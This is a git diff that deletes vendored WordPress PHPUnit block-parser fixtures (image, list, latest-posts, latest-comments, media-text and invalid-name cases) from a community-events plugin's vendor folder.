      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.html deleted file mode 100644 index 90b3d227..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.html +++ /dev/null @@ -1,3 +0,0 @@ - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.json deleted file mode 100644 index 690fa778..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/image", - "isValid": true, - "attributes": { - "url": "https://cldup.com/uuUqE_dXzy.jpg", - "alt": "", - "caption": "", - "href": "https://cldup.com/uuUqE_dXzy.jpg", - "linkDestination": "media" - }, - "innerBlocks": [], - "originalContent": "
      \"\"
      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.parsed.json deleted file mode 100644 index 46458a7e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.parsed.json +++ /dev/null @@ -1,22 +0,0 @@ -[ - { - "blockName": "core/image", - "attrs": { - "linkDestination": "media" - }, - "innerBlocks": [], - "innerHTML": "\n
      \"\"
      \n", - "innerContent": [ - "\n
      \"\"
      \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.serialized.html deleted file mode 100644 index 721abac9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.server.html deleted file mode 100644 index 9ed77f11..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.html deleted file mode 100644 index 1eaeb570..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.json deleted file mode 100644 index 91dc39fc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.json +++ /dev/null @@ -1,12 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/freeform", - "isValid": true, - "attributes": { - "content": "

      " - }, - "innerBlocks": [], - "originalContent": "

      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.parsed.json deleted file mode 100644 index cbfafc27..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.parsed.json +++ /dev/null @@ -1,11 +0,0 @@ -[ - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.serialized.html deleted file mode 100644 index 4b0ff53d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.serialized.html +++ /dev/null @@ -1 +0,0 @@ -

      diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.server.html deleted file mode 100644 index 1eaeb570..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.server.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.html deleted file mode 100644 index 548aef63..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.json deleted file mode 100644 index cd026a2a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.json +++ /dev/null @@ -1,12 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/freeform", - "isValid": true, - "attributes": { - "content": "

      " - }, - "innerBlocks": [], - "originalContent": "

      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.parsed.json deleted file mode 100644 index 05b96f6d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.parsed.json +++ /dev/null @@ -1,11 +0,0 @@ -[ - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.serialized.html deleted file mode 100644 index de4f2acc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.serialized.html +++ /dev/null @@ -1 +0,0 @@ -

      diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.server.html deleted file mode 100644 index 548aef63..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.server.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.html deleted file mode 100644 index cc4a2523..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.json deleted file mode 100644 index a4558772..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.json +++ /dev/null @@ -1,15 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/latest-comments", - "isValid": true, - "attributes": { - "commentsToShow": 5, - "displayAvatar": true, - "displayDate": true, - "displayExcerpt": true - }, - "innerBlocks": [], - "originalContent": "" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.parsed.json deleted file mode 100644 index b7a0e614..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.parsed.json +++ /dev/null @@ -1,22 +0,0 @@ -[ - { - "blockName": "core/latest-comments", - "attrs": { - "displayAvatar": true, - "displayExcerpt": true, - "displayTimestamp": true - }, - "innerBlocks": [], - "innerHTML": "", - "innerContent": [] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.serialized.html deleted file mode 100644 index a50d5664..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.serialized.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.server.html deleted file mode 100644 index f16c3c72..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.server.html +++ /dev/null @@ -1 +0,0 @@ -
      No comments to show.
      diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.html deleted file mode 100644 index 99d215f5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.json deleted file mode 100644 index f31c903f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.json +++ /dev/null @@ -1,17 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/latest-posts", - "isValid": true, - "attributes": { - "postsToShow": 5, - "displayPostDate": false, - "postLayout": "list", - "columns": 3, - "order": "desc", - "orderBy": "date" - }, - "innerBlocks": [], - "originalContent": "" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.parsed.json deleted file mode 100644 index 4279957a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.parsed.json +++ /dev/null @@ -1,21 +0,0 @@ -[ - { - "blockName": "core/latest-posts", - "attrs": { - "postsToShow": 5, - "displayPostDate": false - }, - "innerBlocks": [], - "innerHTML": "", - "innerContent": [] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.serialized.html deleted file mode 100644 index 2c5b3f26..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.serialized.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.server.html deleted file mode 100644 index c08f1615..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.server.html +++ /dev/null @@ -1 +0,0 @@ -
        diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.html deleted file mode 100644 index d3128a66..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.json deleted file mode 100644 index 024e1a7f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.json +++ /dev/null @@ -1,17 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/latest-posts", - "isValid": true, - "attributes": { - "postsToShow": 5, - "displayPostDate": true, - "postLayout": "list", - "columns": 3, - "order": "desc", - "orderBy": "date" - }, - "innerBlocks": [], - "originalContent": "" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.parsed.json deleted file mode 100644 index 57a36f5d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.parsed.json +++ /dev/null @@ -1,21 +0,0 @@ -[ - { - "blockName": "core/latest-posts", - "attrs": { - "postsToShow": 5, - "displayPostDate": true - }, - "innerBlocks": [], - "innerHTML": "", - "innerContent": [] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.serialized.html deleted file mode 100644 index 0d80d351..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.serialized.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.server.html deleted file mode 100644 index 1a99b131..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.server.html +++ /dev/null @@ -1 +0,0 @@ -
          diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.html deleted file mode 100644 index 565bbe3c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.html +++ /dev/null @@ -1,3 +0,0 @@ - -
          • Text & Headings
          • Images & Videos
          • Galleries
          • Embeds, like YouTube, Tweets, or other WordPress posts.
          • Layout blocks, like Buttons, Hero Images, Separators, etc.
          • And Lists like this one of course :)
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.json deleted file mode 100644 index 0f83e901..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.json +++ /dev/null @@ -1,13 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/list", - "isValid": true, - "attributes": { - "ordered": false, - "values": "
        • Text & Headings
        • Images & Videos
        • Galleries
        • Embeds, like YouTube, Tweets, or other WordPress posts.
        • Layout blocks, like Buttons, Hero Images, Separators, etc.
        • And Lists like this one of course :)
        • " - }, - "innerBlocks": [], - "originalContent": "
          • Text & Headings
          • Images & Videos
          • Galleries
          • Embeds, like YouTube, Tweets, or other WordPress posts.
          • Layout blocks, like Buttons, Hero Images, Separators, etc.
          • And Lists like this one of course :)
          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.parsed.json deleted file mode 100644 index bb31332f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.parsed.json +++ /dev/null @@ -1,20 +0,0 @@ -[ - { - "blockName": "core/list", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n
          • Text & Headings
          • Images & Videos
          • Galleries
          • Embeds, like YouTube, Tweets, or other WordPress posts.
          • Layout blocks, like Buttons, Hero Images, Separators, etc.
          • And Lists like this one of course :)
          \n", - "innerContent": [ - "\n
          • Text & Headings
          • Images & Videos
          • Galleries
          • Embeds, like YouTube, Tweets, or other WordPress posts.
          • Layout blocks, like Buttons, Hero Images, Separators, etc.
          • And Lists like this one of course :)
          \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.serialized.html deleted file mode 100644 index 6b83b73a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -
          • Text & Headings
          • Images & Videos
          • Galleries
          • Embeds, like YouTube, Tweets, or other WordPress posts.
          • Layout blocks, like Buttons, Hero Images, Separators, etc.
          • And Lists like this one of course :)
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.server.html deleted file mode 100644 index 871ccdd3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -
          • Text & Headings
          • Images & Videos
          • Galleries
          • Embeds, like YouTube, Tweets, or other WordPress posts.
          • Layout blocks, like Buttons, Hero Images, Separators, etc.
          • And Lists like this one of course :)
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.html deleted file mode 100644 index 63d279b9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.html +++ /dev/null @@ -1,12 +0,0 @@ - -
          -
          - -
          -
          - -

          My Content

          - -
          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.json deleted file mode 100644 index 2b892048..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.json +++ /dev/null @@ -1,33 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/media-text", - "isValid": true, - "attributes": { - "align": "wide", - "mediaAlt": "", - "mediaPosition": "left", - "mediaId": 17985, - "mediaUrl": "http://localhost/wp-content/uploads/2018/09/1600px-Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg", - "mediaType": "image", - "mediaWidth": 50, - "isStackedOnMobile": false - }, - "innerBlocks": [ - { - "clientId": "_clientId_0", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "My Content", - "dropCap": false, - "placeholder": "Content…", - "fontSize": "large" - }, - "innerBlocks": [], - "originalContent": "

          My Content

          " - } - ], - "originalContent": "
          \n\t
          \n\t\t\"\"/\n\t
          \n\t
          \n\t\t\n\t
          \n
          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.parsed.json deleted file mode 100644 index ec0bf62e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.parsed.json +++ /dev/null @@ -1,38 +0,0 @@ -[ - { - "blockName": "core/media-text", - "attrs": { - "mediaId": 17985, - "mediaType": "image" - }, - "innerBlocks": [ - { - "blockName": "core/paragraph", - "attrs": { - "placeholder": "Content…", - "fontSize": "large" - }, - "innerBlocks": [], - "innerHTML": "\n\t\t

          My Content

          \n\t\t", - "innerContent": [ - "\n\t\t

          My Content

          \n\t\t" - ] - } - ], - "innerHTML": "\n
          \n\t
          \n\t\t\"\"/\n\t
          \n\t
          \n\t\t\n\t
          \n
          \n", - "innerContent": [ - "\n
          \n\t
          \n\t\t\"\"/\n\t
          \n\t
          \n\t\t", - null, - "\n\t
          \n
          \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.serialized.html deleted file mode 100644 index 5e70ba8e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.serialized.html +++ /dev/null @@ -1,5 +0,0 @@ - -
          -

          My Content

          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.server.html deleted file mode 100644 index e472aeb9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.server.html +++ /dev/null @@ -1,12 +0,0 @@ - -
          -
          - -
          -
          - -

          My Content

          - -
          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.html deleted file mode 100644 index 66e424e3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.html +++ /dev/null @@ -1,12 +0,0 @@ - -
          -
          - my alt -
          -
          - -

          Content

          - -
          -
